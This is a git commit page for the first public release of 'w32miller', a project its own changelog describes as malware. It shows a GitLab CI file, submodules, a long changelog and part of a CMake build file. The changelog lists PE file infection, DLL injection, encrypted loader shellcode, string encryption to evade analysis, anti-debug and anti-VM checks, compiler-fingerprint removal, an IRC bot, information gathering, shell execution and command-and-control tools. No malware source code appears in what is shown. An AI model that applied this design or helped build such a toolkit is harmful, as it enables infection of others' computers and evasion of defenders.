diff options
author | Toni Uhlig <matzeton@googlemail.com> | 2020-05-24 16:48:22 +0200 |
---|---|---|
committer | Toni Uhlig <matzeton@googlemail.com> | 2020-05-25 21:57:14 +0200 |
commit | 31c69b6ca1b91e7fd9fd8e14082fd2584c5f538c (patch) | |
tree | 16e789c7d68608831b498f41f54d9482b82a711a |
first public release
Signed-off-by: Toni Uhlig <matzeton@googlemail.com>
148 files changed, 31911 insertions, 0 deletions
diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml new file mode 100644 index 0000000..c35f2e6 --- /dev/null +++ b/.gitlab-ci.yml @@ -0,0 +1,240 @@ +image: debian:stable + +stages: + - deps + - build + - test-host + - test-wine + +cache: + key: toolchain + paths: + - deps/sysroot/ + +makedeps: + script: + - if [ "x${FORCE_TOOLCHAIN_REBUILD:-}" != "x" ]; then rm -rf deps/sysroot; fi + - export DEBIAN_FRONTEND=noninteractive && apt-get update -qq && apt-get install -y -qq coreutils wget tar gzip bzip2 patch cmake make binutils gcc g++ autoconf automake flex bison texinfo libz-dev libssl-dev libevent-dev + - export TERM=linux && { test -d deps/sysroot || deps/makedeps.sh; } + artifacts: + expire_in: 1 week + paths: + - deps/build.log + stage: deps + only: + - master + tags: + - docker + - multi-runner + +makedeps-again: + script: + - export DEBIAN_FRONTEND=noninteractive && apt-get update -qq && apt-get install -y -qq coreutils wget tar gzip bzip2 patch cmake make binutils gcc g++ autoconf automake flex bison texinfo libz-dev libssl-dev libevent-dev + - export DEBIAN_FRONTEND=noninteractive && apt-get update -qq && apt-get install -y -qq git + - rm -rf deps + - git clean -df . + - git checkout . + - export TERM=linux && deps/makedeps.sh + artifacts: + expire_in: 1 week + paths: + - deps/build.log + stage: deps + only: + - master + when: manual + allow_failure: true + tags: + - docker + - multi-runner + +build: + script: + - ls -al deps + - export DEBIAN_FRONTEND=noninteractive && apt-get update -qq && apt-get install -y -qq coreutils flex bison texinfo cmake make + - export TERM=linux && cmake . + - export TERM=linux && make + artifacts: + expire_in: 1 week + paths: + - bin/ + stage: build + only: + - master + dependencies: + - makedeps + tags: + - docker + - multi-runner + +build-debug: + script: + - ls -al deps + - export DEBIAN_FRONTEND=noninteractive && apt-get update -qq && apt-get install -y -qq coreutils flex bison texinfo cmake make + - export TERM=linux && cmake -DBUILD_PYDIST=1 -DBUILD_ALL_TOOLS=1 -DBUILD_TESTS=1 -DEXTRA_VERBOSE=1 -DHTTP_LOCALHOST=1 -DINFECT_DUMMY=1 . + - export TERM=linux && make + artifacts: + expire_in: 1 week + paths: + - bin/ + stage: build + only: + - master + dependencies: + - makedeps + tags: + - docker + - multi-runner + +build-release: + script: + - ls -al deps + - export DEBIAN_FRONTEND=noninteractive && apt-get update -qq && apt-get install -y -qq coreutils flex bison texinfo cmake make + - export TERM=linux && cmake -DBUILD_ALL_TOOLS=1 -DBUILD_TESTS=1 . + - export TERM=linux && make + artifacts: + expire_in: 1 week + paths: + - bin/ + stage: build + only: + - master + dependencies: + - makedeps + tags: + - docker + - multi-runner + +tests-debug: + cache: {} + script: + - dpkg --add-architecture i386 + - export DEBIAN_FRONTEND=noninteractive && apt-get update -qq && apt-get install -y -qq wine wine32 wine64 xvfb + - nohup Xvfb :99 & + - export XVFB_PID=$! && export DISPLAY=:99 + - wine bin/tests.exe 1>&2 + - wine bin/loadmodule.exe bin/libw32miller-shared.dll + - wine bin/loadmodule.exe bin/libw32miller_pre-shared.dll + - wine bin/decrypter.exe bin/libw32miller-shared.dll + - wine bin/decrypter.exe bin/libw32miller_pre-shared.dll + - wine bin/decrypter.exe bin/loader_base.exe + - wine bin/decrypter.exe bin/loader_base_enc.exe + - wine bin/decrypter.exe bin/release.exe + - wine bin/loader_decrypt.exe >/dev/null + - wine bin/disasm.exe -fbin/release.exe >/dev/null + - kill -SIGKILL ${XVFB_PID} + stage: test-wine + only: + - master + dependencies: + - build-debug + tags: + - docker + - multi-runner + +tests-release: + cache: {} + script: + - dpkg --add-architecture i386 + - export DEBIAN_FRONTEND=noninteractive && apt-get update -qq && apt-get install -y -qq wine wine32 wine64 xvfb + - nohup Xvfb :99 & + - export XVFB_PID=$! && export DISPLAY=:99 + - wine bin/tests.exe 1>&2 || { tail -n10 tests.log; false; } + - wine bin/loadmodule.exe bin/libw32miller-shared.dll + - wine bin/loadmodule.exe bin/libw32miller_pre-shared.dll + - kill -SIGKILL ${XVFB_PID} + stage: test-wine + only: + - master + dependencies: + - build-release + tags: + - docker + - multi-runner + +tests-host-tools: + script: + - deps/sysroot/bin/python2.7 batch/pycrypt_test.py 128 + - bin/strings-host + - bin/hdr_crypt-host xor include/xor_strings.h .tmp_xor_strings_gen.h XOR_KEY + - echo 'import sys, imp; mod = imp.load_dynamic("pyloader", "bin/pyloader"); print mod; mod.info()' | deps/sysroot/bin/python2.7 + - echo 'import sys, imp; mod = imp.load_dynamic("pycrypt", "bin/pycrypt"); print mod; mod.info()' | deps/sysroot/bin/python2.7 + stage: test-host + only: + - master + dependencies: + - build-release + tags: + - docker + - multi-runner + +tests-release-mdk: + script: + - dpkg --add-architecture i386 + - export DEBIAN_FRONTEND=noninteractive && apt-get update -qq && apt-get install -y -qq wine wine32 wine64 xvfb + - nohup Xvfb :99 & + - export XVFB_PID=$! + - export DISPLAY=:99 + - wine bin/dummy.exe 5 + - wine bin/release.exe 5 & + - export WINBIN_PID=$! + - sleep 6 && { kill -SIGKILL ${WINBIN_PID} || true; } + - sleep 1 + - wine bin/libtor.exe deps/sysroot/i686-w64-mingw32/lib/libtor.dll & + - export WINTOR_PID=$! + - sleep 10 && { kill -SIGKILL ${WINTOR_PID} || true; } + - exit + stage: test-wine + only: + - master + dependencies: + - build-release + tags: + - docker + - multi-runner + +tests-debug-mdk: + script: + - dpkg --add-architecture i386 + - export DEBIAN_FRONTEND=noninteractive && apt-get update -qq && apt-get install -y -qq wine wine32 wine64 xvfb + - nohup Xvfb :99 & + - export XVFB_PID=$! + - export DISPLAY=:99 + - cd bin + - wine dummy.exe 5 + - wine loader_base_enc.exe 15 & + - export WINBIN_PID=$! + - sleep 16 && { kill -SIGKILL ${WINBIN_PID} || true; } + - sleep 1 + - wine dummy.exe 5 + - exit + stage: test-wine + only: + - master + dependencies: + - build-debug + tags: + - docker + - multi-runner + +sast: + stage: test-wine + image: docker:stable + variables: + DOCKER_DRIVER: overlay2 + when: manual + allow_failure: true + services: + - docker:stable-dind + script: + - export SP_VERSION=$(echo "$CI_SERVER_VERSION" | sed 's/^\([0-9]*\)\.\([0-9]*\).*/\1-\2-stable/') + - docker run + --env SAST_CONFIDENCE_LEVEL="${SAST_CONFIDENCE_LEVEL:-3}" + --env SAST_ANALYZER_IMAGES=find-sec-bugs,flawfinder + --volume "$PWD:/code" + --volume /var/run/docker.sock:/var/run/docker.sock + "registry.gitlab.com/gitlab-org/security-products/sast:$SP_VERSION" /app/bin/run /code + artifacts: + expire_in: 1 week + paths: [gl-sast-report.json] + diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..d53a515 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,9 @@ +[submodule "source/tools/host/go/cncproxy/deps/src/github.com/gorilla/mux"] + path = source/tools/host/go/cncproxy/deps/src/github.com/gorilla/mux + url = https://github.com/gorilla/mux +[submodule "source/tools/host/go/cncmaster/deps/src/github.com/gorilla/mux"] + path = source/tools/host/go/cncmaster/deps/src/github.com/gorilla/mux + url = https://github.com/gorilla/mux +[submodule "source/tools/host/go/cncproxy/deps/src/github.com/zhuangsirui/binpacker"] + path = source/tools/host/go/cncproxy/deps/src/github.com/zhuangsirui/binpacker + url = https://github.com/zhuangsirui/binpacker diff --git a/CHANGELOG b/CHANGELOG new file mode 100644 index 0000000..5c2d71d --- /dev/null +++ b/CHANGELOG @@ -0,0 +1,524 @@ +CHANGELOG +---------------------- + +[] + * made compat.c great agein and using generic string factory + * fixed bug in addStrEntry(...) for root section + * using a centralised string factory for decrypting XOR'd strings + * improved string decryption, more string sections and section marker (only for kernel32 funcs) + * made tests/decrypter/disasm/loader_decrypt build optional + * loader_decrypt uses additional dbg version + * enumerate all logical devices and get some information + tests + * _GetLogicalDriveStringsA, _GetDriveTypeA, _GetDiskFreeSpaceA, re-enabled anti av/debug + * using generic and easy2use string decryption factory, added string decryption tester, upgraded hdr_crypt to add more information (struct/enum defines) + * bintostr buf should be a const char* + * always align encrypted XOR'd buffers to 4 byte (for now, might be changed to 8 in the future) + * introduced string decryption factory + * added release.exe target (uses DLL/LOADER86 without _DEBUG and _PRE_RELEASE), cleaned up loader.h/main.c + * LOADER_X86 uses same section as debug version, `strip -R` may sometimes exit with a non-zero value (dunno why) + * irc: private message (+binary,+buffered), bot control utils: is(space|upper|lower|alpha|digit) + __xbintostr(...) has newSizPtr arg + * TODOs 'n TYPOs + * using _VirtualFree in DLL for loader allocated memory + * irc -> GetVolumeInfo(...) + * fixed compat ptr check fail + * missing important TODO + * updated TODOs, encrypted SOCK(STR|CMD)s + * disabled SO_RCVTIMEO (should not be less than the irc server PING time!) + * using more flexible GETPROC(...) macro, added information gathering and shell execute code + * using setsockopt(...) to set recv/send buffer_size/timeouts + * removed vasprintf from compat (was a hell of a bugload), replaced it with mini_snprintf + * added simple compat __xprintf(...) test + * added MYASSERT_SILENT && windows null device + * using CONTEXT_FULL instead of CONTEXT_CONTROL, initSocket(...) in NetThread and not before + * removed unused ExitProcess(...), replaces GetProcessHeap(...) with HeapCreate(...) + * FormatMessage is useless, added tests, code cleanup, TODO: fix Heap error (source currently unknown) + * _SwitchToThread() + startThread(...) + hNetThread + * irc testing /3 + * irc testing /2 + * moved SWITCH_ENDIANESS to utils.h and renamed it to SWAP_ENDIANESS32, also added 16 bit version, removed unused bswap(...) + * irc testing + * added <time.h> back if non-mingw build + * improved compat header, other include cleanups + * new tool binary: ircmsg (test irc module) + * new tool binary: ircmsg (test irc module) + * compat include fixups (compat.h) is now *MAIN* header file + * added irc module in DLL build + compat fixups + * updated README && TODO + * ported small irc bot + * added `const` qualifier for code readability + * iv/key in xor32n_pcbc_crypt_buf(...) should be const + * patching works now from already encrypted/patched binaries + * validating PE header e_lfanew (>=0x40 and <=0x80) + * gimme more `comments` + * loadmodule works now as expected + * runbin works with current DLL + * full dll encryption + * removing fingerprints (GCC/LD version info) from all created miller binaries (dll/bin) + * more readable code indentation + * DLL loader patching: XOR key/iv gen, Loader Strings encryption + * added rebuild warnings + * full Multithreading enabled + * dummy waits before it terminates (may be useful for multithreading tests) + * DLL Multithreading support + * added Thread/IPC functions + * added warnings + names for thread/ipc functions + * loader uses rep movsd instead if slower rep movsb + * VirtualAlloc uses different PAGE_ACCESS flags + * Removed unused loader data e.g. imageBase, sections adr/siz etc + * DLL Encryption done (TODO: fix encryption of infected binaries, see source/patch.c) + * removing *complete* DosStub + * README/doc update + * introduced new loader data: flags (DLL Flags) + * patchLoader: String Encryption/Patching + * string encryption works (TODO: PATCHING!) + * pycrypt_test: check {plain|cipher}text length + * bug fixed: wrong iv/key size in pycrypt + * get 32 bit uint buffer + * pyloader/pycrypt prep + * cosmetics + pyloader macro funcs + * file_crypt not used anymore, replaced with pycrypt + * pycrypt+test + * pycrypt: fixed memory leaks + * pycrypt: fixed aes ctx alloc bug CMake: added crypt.c as dep (XOR) + * better python module integration, pycrypt module init + * patch loader section with dll data + * removed unused infection video + * added own GetProcAdr function + * install *.bin files, rundll -> runbin + * install *.bin files, rundll -> runbin + * preparations for dll section encryption + * preparations for dll section encryption + * crypt dll with offset and size + * crypt dll with offset and size + * better host-tools building + * better host-tools building + * removed loader nops and use two different loaders (release and pre-release) + * removed loader nops and use two different loaders (release and pre-release) + * genShellcode accepts section as argument, removed loader_noPE32 build (useless in near future) + * genShellcode accepts section as argument, removed loader_noPE32 build (useless in near future) + * more loader targets, loader_base_enc + * more loader targets, loader_base_enc + * shellcode generator append mode + * shellcode generator append mode + * extended loader patching for NOPE32 builds (adrOfEntry,imageBase,sizOfImage,sizOfHeader) + * extended loader patching for NOPE32 builds (adrOfEntry,imageBase,sizOfImage,sizOfHeader) + * get binary data from PE32 e.g. imagebase, adrofentry, etc. + * get binary data from PE32 e.g. imagebase, adrofentry, etc. + * get objdump data like adrOfEntry, imageBase, etc. + * get objdump data like adrOfEntry, imageBase, etc. + * patchLoader.py uses generated pyloader.so to modify the loader trailer + * patchLoader.py uses generated pyloader.so to modify the loader trailer + * added infectable dummy_gui + * added infectable dummy_gui + * pyloader.so python module (patchLoader.py can access struct loader_x86_data easily) + * pyloader.so python module (patchLoader.py can access struct loader_x86_data easily) + * loader_base.exe: use w32miller.bin as dll payload + * loader_base.exe: use w32miller.bin as dll payload + * ivkeysize macro, dynamic stack memory reserve, rep movsd for string copy + * ivkeysize macro, dynamic stack memory reserve, rep movsd for string copy + * loader reserved stackmem can now modified by the dll + * loader reserved stackmem can now modified by the dll + * use pipes or stdout for debugging msgs + * use pipes or stdout for debugging msgs + * tell cmake about generated headers, compile pipe_(server|client) only if needed + * tell cmake about generated headers, compile pipe_(server|client) only if needed + * pipe_(server|client) output , use default miller path , strings , hdr crypt parses double (escape) backslash (..\\..) + * pipe_(server|client) output , use default miller path , strings , hdr crypt parses double (escape) backslash (..\\..) + * dont force user options, enable pipes options (-D_USE_PIPES=1) + * dont force user options, enable pipes options (-D_USE_PIPES=1) + * fixed ESI_PTRDLL and ESI_SIZDLL offsets, using faster rep movsb instead of slower __ldr_memcpy implementation + * fixed ESI_PTRDLL and ESI_SIZDLL offsets, using faster rep movsb instead of slower __ldr_memcpy implementation + * removing gcc fingerprint from distorm objects + * removing gcc fingerprint from distorm objects + * added simple named pipe server/client (future use in malware for app-to-user and app-to-app(IPC) communication) + * added simple named pipe server/client (future use in malware for app-to-user and app-to-app(IPC) communication) + * new loader prep.. + * new loader prep.. + * crypt.c tests + * crypt.c tests + * output host-tools{CMakeFiles, Makefile, etc} in ${BUILD_DIR}/host-tools instead of ${BUILD_DIR}/bin/host-tools + * output host-tools{CMakeFiles, Makefile, etc} in ${BUILD_DIR}/host-tools instead of ${BUILD_DIR}/bin/host-tools + * removed useless loader macros, additional pe loader tests + * removed useless loader macros, additional pe loader tests + * __attribute__((gcc_struct)) added (don't use ms_struct for this project!) + * __attribute__((gcc_struct)) added (don't use ms_struct for this project!) + * __printByteBuf allowed in tests for debugging purposes + * __printByteBuf allowed in tests for debugging purposes + * add print byte buffer option (aLOT output!) + * add print byte buffer option (aLOT output!) + * nasm: dynamic includes + * nasm: dynamic includes + * optimised host-tools cmakelists + * optimised host-tools cmakelists + * string (en|de)cryption fully works + * string (en|de)cryption fully works + * host-tools force target + * host-tools force target + * sub-cmake base build (host-tools) + * sub-cmake base build (host-tools) + * loader string decryption works + * loader string decryption works + * endmarker check + test + * endmarker check + test + * better error printing + * better error printing + * endmarker check/test, loader compensate _DEBUG instructions with NOPs + * endmarker check/test, loader compensate _DEBUG instructions with NOPs + * removed static lib build (not rly used) + * removed static lib build (not rly used) + * host tools got their chance, not needed in this directory anymore + * host tools got their chance, not needed in this directory anymore + * fixed typ0 + * fixed typ0 + * build host tools with source/tools/host/CMakeLists.txt, %include decrypter source (dont build two *.obj files since it fucks up my loader) + * build host tools with source/tools/host/CMakeLists.txt, %include decrypter source (dont build two *.obj files since it fucks up my loader) + * define _LOADER_MARKER for all modules + * define _LOADER_MARKER for all modules + * patcher prints now loader offset to console (if pre-release) + * patcher prints now loader offset to console (if pre-release) + * host tools CMakeLists (builds hdr_crypt && file_crypt for host system) + * host tools CMakeLists (builds hdr_crypt && file_crypt for host system) + * cmake encrypt loader strings prep, file_crypt searches for endmarker if -l missing + * cmake encrypt loader strings prep, file_crypt searches for endmarker if -l missing + * decrypter prep + * decrypter prep + * decrypter prep + * decrypter prep + * endmarker search + ldr dll crypt (does not modify loader) + * endmarker search + ldr dll crypt (does not modify loader) + * show argument in usage, prep for dll encryption + * show argument in usage, prep for dll encryption + * superfluous xor32n_pcbc_decrypter removed + * superfluous xor32n_pcbc_decrypter removed + * loader string encryption finally works + * loader string encryption finally works + * linux mmap'd file, encrypt loader strings + * linux mmap'd file, encrypt loader strings + * loader string encryption iv/key-size + * loader string encryption iv/key-size + * better binary diff (unified) + * better binary diff (unified) + * file_crypt encrypt loader strings option + * file_crypt encrypt loader strings option + * better hex string regex + * better hex string regex + * file crypter reads loader contents and encrypt loader strings, TODO: write part encrypted strings to disk + * file crypter reads loader contents and encrypt loader strings, TODO: write part encrypted strings to disk + * loader is now linux-gcc compatible, file_crypt uses endmarker + * loader is now linux-gcc compatible, file_crypt uses endmarker + * patchLoader shows marker offset + * patchLoader shows marker offset + * loader ENDMARKER is now more dynamicially e.g. it can be specified by cmake + * loader ENDMARKER is now more dynamicially e.g. it can be specified by cmake + * decrypter compilation for i386 target only (atm) + * decrypter compilation for i386 target only (atm) + * file crypter iv/key hex str arguments + * file crypter iv/key hex str arguments + * file crypter key/iv/offset/size prep + * file crypter key/iv/offset/size prep + * loader patching is now done by section name and endmarker + * loader patching is now done by section name and endmarker + * better loader patching (argument parsing, controlled output, etc) + * better loader patching (argument parsing, controlled output, etc) + * better decrypter output + * better decrypter output + * exported mapfile linux/mingw + * exported mapfile linux/mingw + * xor32n_pcbc asm x86 decrypter + * xor32n_pcbc asm x86 decrypter + * decrypter stuff + * decrypter stuff + * helper function module for tools + * helper function module for tools + * new module crypt.c: xor32 stuff, refactoring + * new module crypt.c: xor32 stuff, refactoring + * crypt module + * crypt module + * decrypter-asm/-tool skeleton + * decrypter-asm/-tool skeleton + * dll crypt done + * dll crypt done + * loader: prep for xor32 string encryption + * loader: prep for xor32 string encryption + * objdump should not ignore zeroes, loader byte pad + * objdump should not ignore zeroes, loader byte pad + * patchLoader.py modifies loader conforming to loader_x86.h + * patchLoader.py modifies loader conforming to loader_x86.h + * dll encryption preparations + * dll encryption preparations + * dont patch instructions which changes eip and uses relative addressing (will be fixed in the future, TODO) + * dont patch instructions which changes eip and uses relative addressing (will be fixed in the future, TODO) + * halfByte should be 1 byte (uchar) small instead of 4 bytes (int) + * halfByte should be 1 byte (uchar) small instead of 4 bytes (int) + * added objdump command output + todo + * added objdump command output + todo + * xor32n_pcbc_decrypt_buf + * xor32n_pcbc_decrypt_buf + * xor32n_pcbc encryption works + * xor32n_pcbc encryption works + * xor32pcbc (en|de)cryption + * xor32pcbc (en|de)cryption + * fixed bintostr halfbyte calc bug (wrong typesize) + * fixed bintostr halfbyte calc bug (wrong typesize) + * xor32 (en|de)cryption + * xor32 (en|de)cryption + * fixed issues on ubuntu + * fixed issues on ubuntu + * better output + * better output + * mem.c not used anymore except for XMemAlign + * mem.c not used anymore except for XMemAlign + * dynamically generate (DLL|DLL)SECTION from include/xor_strings.h + * dynamically generate (DLL|DLL)SECTION from include/xor_strings.h + * anti(debug|vm) is now disabled if pre-release + * anti(debug|vm) is now disabled if pre-release + * fixed invalid ptr free + * fixed invalid ptr free + * malware dll injection testvideo + * re-alloc bugfix for bAddSection + * compat cosmetics + GetCurrentProcessId,AttachConsole for Pre-Releases, added definitions deny including some annoying header files + * cosmetics + latex work sample (for presentation purposes) + * markdown brainfuck + * typ0 + * changelog, markdown cosmetics + * cosmetics + set number of simlultaneous build jobs in deps/makedeps.sh + * cosmetics + * README.md update + * display correct filename + * anti vm counter measures, LoadLibraryA support, generate random hex string + * fixed cmake deps, 'get miller section from include'-script + * comments + * Xor32 hash gen + * get miller dll section name dynamically from include/xor_strings.h + * fixed wrong header include + * multijob build errors fixed + * fixed shellcode bug (hardcoded path), some basic error detection + * cmake support for out-of-source-dir builds + * moved genhash,randstring to utils, dll needs it too + * basic irc bot modified (WSA compat) + * changed section names, dll_crypt cleanup + * added irc bot stub (needs definitly some modification e.g. support threads?) + * base64 encode + * fixed wrong pe-hdr calculations, patching support works, loader struct initialised correctly + * README update + * CHANGELOG, CONTRIBUTING.md visuals + * README, TODO, DOC update + * basic code injection/patching works + * OffsetToRva(...), PtrToOffset(...), PtrToRva(...), added test cases + * print a binary buffer + * added some useless bytes to the loader (so it can be dissambled correctly) + * disabled nasm optimisations + * fixed shellcode gen bug + * cmake depend+custom cmd fix + * gpg encrypt git archive + * update README /4 + * update README /3 + * update REAMDE /2 + * update README + * cmake improvments, genShellcode supports multiprocess build job + * fixed aes for x64 hosts + * loader decrypter, cmake improvments, preparation for aes.c compilation on x64 systems + * mingw compat header not useable, crypt compile under gnu linux, aes/utils does not require mingw to compile + * build log + timestamps + * build host gcc (non-mingw), used for pre-compile encryption + gcc4.9.4 + * cmake stuff + * build log + timestamps + * cmake stuff /11 + * cmake stuff /10 + * build host gcc (non-mingw), used for pre-compile encryption + * cmake stuff /9 + * cmake stuff /8 + * cmake stuff /7 + * cmake stuff /6 + * cmake stuiff /5 + * cmake stuff /4 + * cmake stuff /3 + * cmake stuff /2 + * cmake stuff + * use ${PYTHON} binary + * bump to Python-2.7.13 + * multiplatform compatiblity + * python2.7 deps + * added mingw compat for non mingw builds + * colored output + * install stripped deps + * added flex dep for wine + * stable nasm release 2.12.02 + * added (wine|nasm) build (wine and flex>2.6.1 breaks build) + * added sysroot/${MINGW} to $PATH + * additional checks (e.g. alrdy configured) + * fixed `set -e` -> BASH_EXITONFAIL check + * comments + format fix + * pe + patch stuff + * print GetLastError() + * rundll can now load the module at a given address (force relocation!) + * added nopsleds + loader struct + * updated CHANGELOG + * patchJMP + * added bswap inline func (gcc builtin) + * _MILLER_IMAGEBASE macro ifdef, bAddSection(...) checks if section alrdy exists + * fixed README typ0, fixed loader_base format string + * added PE related tests + * basic binary patch enviroment + * binary patcher skeleton + * renamed TODO.txt + * Add contribution guide + * Add license + * generated changelog + * added markdown README + * todo + basic doc + * added additional debug check + * added GetLastError after execution + * linker script: dont sort sections, changed miller ldflags (linker map etc) + * moved unused tools to tools/old + * loader forces dll to relocate if _MILLER_IMAGEBASE is set + * pe relocation should finally work + * fixed VirtualAlloc, it overwrites ecx (sizeof malwareDLL) + * crt fix for returned dll value (0xdeadc0de) + * .idata and .edata should stay in both miller dlls so windows api LoadLibrary(...) will accept it + * manual dll relocation work in progress + * dont use file alignment because windows loader doesnt like it, pre release keeps .edata and .idata, crt checks now if started by loader or LoadLibrary(...) + * disabled -Wl,--file-alignment, windows loader does not like it + * loadmodule forces loaded malware dll to relocate + * fixed broken dll reloc section -,- + * -ffreestanding + * whitespaces.. + * loadmodule bin + * loader VirtualAlloc without specific base address if previously failed + * fixed header size check, improved bAddSection(...), cmake_strip + * loader decryption, anti-debug + * fixed loader_base stuff, rundll shows return value now in hex&&dec + * python scripts should return a non-zero value on a fatal err, removed unused win batch script + * lightwight x86-64 decoding works + * config fix + * build mingw64 from scratch /2 + * build mingw64 from scratch + * make dependencies (mingw64 ..) + * linker script changes + * internal x86-asm decoding + * python script removing DOS header stub + unused header values + * loader runtime decryption + * embedded loader shellcode in malware dll + * crypt editable define keyname + * fixed aes encrypt buffer size, build tests with default linker script + * encrypt escaped c strings (e.g. \xFF\x90\x00 ...), loader shellcode encryption + * section xor macros + * loader vars + * pe section (writeable/executable) + * disasm decode internal + * smth + * minimalized linker script + * improved file handling && pe infection + * +SetFilePointer,GetLastError && format(...) realloc ptr fail + * fixed compatibility malfunction during tests ( missing a few COMPAT(...) ) + * custom gnu linker script .. + * merge text and rdata segments + * fixed compile errors + * libw32miller distorm link, disasm distorm interface, disasm tool + * distorm disasm tool + * distorm tests + * changed compat format (%lu & %ld is now 64 bit wide), added compat (v)asprintf + * bether cmake cmds, distorm testing wip + * distorm integrated, testing .. + * distorm assembler + * export function pointer to struct + * encode register + * mnemonic parser + * moved header files to header directory + * aes dynamic memory ilog/sbox + * generate loader shellcode, winapi function name encryption + * string encryption done + * compile string encryption (xor) + * added stack-based xor crypt support (dynamic mem alloc not neccessary) + * added XOR string encryption and pre-compile header generation + * check for wine+python + * added compat + * aescrypt encrypts string before dll compilation + * aescrypt skeleton + aes randomkey + * asm + aes + * added basic asm (en|de)coder and test + * added 0xdeadc0de as loader end marker + * support changeable loader section for loader_base testing + * optimized + * python patch script (patching test loader, loader_base) + * malware dll injection + * -,- + * infection works + * added CMake rule (build allowed in topdir only) added project config in top cmake dll sets and gets image base + * fixed rundll bug (import data directory NULL), nullExportTable nulls import table too + * fixed wrong register assignment in rundll, dont use ExitProcess() in main anymore + * done + * loader + crt works, 3 more idata functions needs to be resolved manually + * loader memcpy header/sections (theres an error somewhere ..) + * major loader fixes + * get address of GetProcAddress from kernel32 export table through PEB->Ldr + * better string loading and stack layout + * get kernel base adr from PEB with pre calculated hash + * CRT works now correct (exits __start subroutine if __main returns NULL) + * fixed .miller section address (win7 does not like not-continuos sections ;) + * loader reads all necessary pe data, added nasm cmake compile flags + * updated TODO + * codeblock not supported anymore .. + * loadlib is now obsolete.. + * loader read pe (1/2) + * fixed custom command bug + * doin da loada + * loader stuff .. + * removing rdata$zzz manually with objcopy + * be less verbose + * print imported libs from pe + * prerelease target + * codeblocks fix + * *.nasm -> *.asm + * added tools cmake + * better gcc fingerprint removing, CMakeLists compiles nasm sources + * removed libudis86 .. + * renamed src to source + * better compat testing + cmake tests + * tests cmake + * added libudis disasm as base for encoder + * cmake compatibility, cz codeblocks sucks + * cmake compatibility, cz codeblocks sucks + * CMake compatible.. + * new target: base relocations + * remove linker major+minor version, infector todo, loader stub + * pe section injection + * fixed null-byte error in compat testing, some asm stuff, removed uselss pe infection routines + * binary diff + * LOG_MARKER uses now printf_ex, python script zeros unused export table + * format_ex, printf_ex compat works + * dont use `unsigned long long int` as function parameter ... -_- + * fixed (u)lltoa + * cbp2mk not needed anymore .. + * (u)lltoa + * using brctl is so much fun + * math, meth, magic + * yo_mama + * m0w + * fu + * miller is now relocatable + * compat + * str* tests + * m0w + * m0wL + * dummy blah + * removing gcc fingerprint finished + * need to fix removeGccVersion.py on devlap.. + * blablatest + * blubb + * compat + * tests + * py + * target test + * test, loadlib + * codeblocks targets finally working + * happy nightmares + * merry xmas + * m0wL + * muh + * blubb + * blubb + * blah + * section adder + codeblock project file + * ReadPEFile, Next: ReadSections + * initial commit diff --git a/CMakeLists.txt b/CMakeLists.txt new file mode 100644 index 0000000..2592ae4 --- /dev/null +++ b/CMakeLists.txt @@ -0,0 +1,254 @@ +cmake_minimum_required(VERSION 3.0.2) +set(CMAKE_MODULE_PATH "${CMAKE_CURRENT_SOURCE_DIR}/cmake") +set(BUILD_FROM_TOPDIR true) + +include(CMakeBuildDeps) + +set(ERR_DEPS_FIRST "\nRun ./deps/makedeps.sh first!") + +set(NASM_BIN ${CMAKE_SOURCE_DIR}/deps/sysroot/i686-w64-mingw32/bin/nasm) +find_program(NASM ${NASM_BIN}) +if(NOT NASM) + message(FATAL_ERROR "${NASM_BIN} is required to compile DLL crt/loader/decrypter ${ERR_DEPS_FIRST}") +endif() +message(STATUS "nasm....: ${NASM_BIN}") + +set(CMAKE_ASM_NASM_COMPILER ${NASM}) + +set(PYTHON_BIN ${CMAKE_SOURCE_DIR}/deps/sysroot/bin/python2.7) +find_program(PYTHON NAMES ${PYTHON_BIN}) +if(NOT PYTHON) + message(FATAL_ERROR "${PYTHON_BIN} is required for initial loader patching ${ERR_DEPS_FIRST}") +endif() +message(STATUS "python..: ${PYTHON}") + +set(PYTHON_HDR ${CMAKE_SOURCE_DIR}/deps/sysroot/include/python2.7) +find_path(PYTHON_INCDIR NAMES Python.h HINTS ${PYTHON_HDR}) +if(NOT PYTHON_INCDIR) + message(FATAL_ERROR "${PYTHON_HDR}/Python.h is required for initial loader patching ${ERR_DEPS_FIRST}") +endif() +message(STATUS "Python.h: ${PYTHON_INCDIR}/Python.h") + +set(ERR_HOST_TOOLS "is required for build pre-compilation host-tools (e.g. header encryption)") +find_program(HOSTCC NAMES ${CMAKE_SOURCE_DIR}/deps/sysroot/bin/gcc) +if(NOT HOSTCC) + message(FATAL_ERROR "host gcc ${ERR_HOST_TOOLS} ${ERR_DEPS_FIRST}") +endif() +message(STATUS "hostcc..: ${HOSTCC}") + +find_program(HOSTLD NAMES ${CMAKE_SOURCE_DIR}/deps/sysroot/bin/ld) +if(NOT HOSTLD) + message(FATAL_ERROR "host ld ${ERR_HOST_TOOLS} ${ERR_DEPS_FIRST}") +endif() +message(STATUS "hostld..: ${HOSTLD}") + +find_program(HOSTGO NAMES ${CMAKE_SOURCE_DIR}/deps/sysroot/bin/go) +if(NOT HOSTGO) + message(FATAL_ERROR "host go ${ERR_HOST_TOOLS} ${ERR_DEPS_FIRST}") +endif() +message(STATUS "hostgo..: ${HOSTGO}") + +include(CMakeMillerFuncs) + +set(CMAKE_SYSTEM_NAME Windows) +set(TOOLCHAIN_PREFIX ${CMAKE_SOURCE_DIR}/deps/sysroot/i686-w64-mingw32/bin/i686-w64-mingw32) +set(CMAKE_C_COMPILER ${TOOLCHAIN_PREFIX}-gcc) +set(CMAKE_LINLER ${TOOLCHAIN_PREFIX}-ld) +set(CMAKE_RC_COMPILER_INIT ${TOOLCHAIN_PREFIX}-windres) +set(CMAKE_CXX_COMPILER false) +set(CMAKE_CXX_LINK_EXECUTABLE false) +set(CMAKE_INSTALL_PREFIX "/usr" CACHE STRING "install prefix" FORCE) + +set(CMAKE_FIND_ROOT_PATH ${CMAKE_SOURCE_DIR}/deps/sysroot) +set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER) +set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY) +set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY) + +set(INSTALL_DEST w32miller_shipped/bin CACHE STRING "install destination") +set(MILLER_HDRDIR "${CMAKE_SOURCE_DIR}/include" CACHE INTERNAL "" FORCE) +set(MILLER_HDRDIR_CREATED "${CMAKE_CURRENT_BINARY_DIR}/include" CACHE INTERNAL "" FORCE) 